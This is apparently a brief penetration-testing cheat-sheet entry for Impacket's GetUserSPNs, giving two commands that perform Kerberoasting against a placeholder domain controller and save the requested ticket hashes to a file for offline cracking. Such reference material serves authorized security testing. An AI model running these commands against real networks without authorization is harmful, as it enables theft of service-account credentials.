impacket-GetUserSPNs

Kerberoast: request TGS tickets for SPN-bearing accounts (authorized testing only).

$ impacket-GetUserSPNs corp.local/operator:'Pw' -dc-ip 10.0.0.5 -request
$ impacket-GetUserSPNs -outputfile spns.hash corp.local/operator -request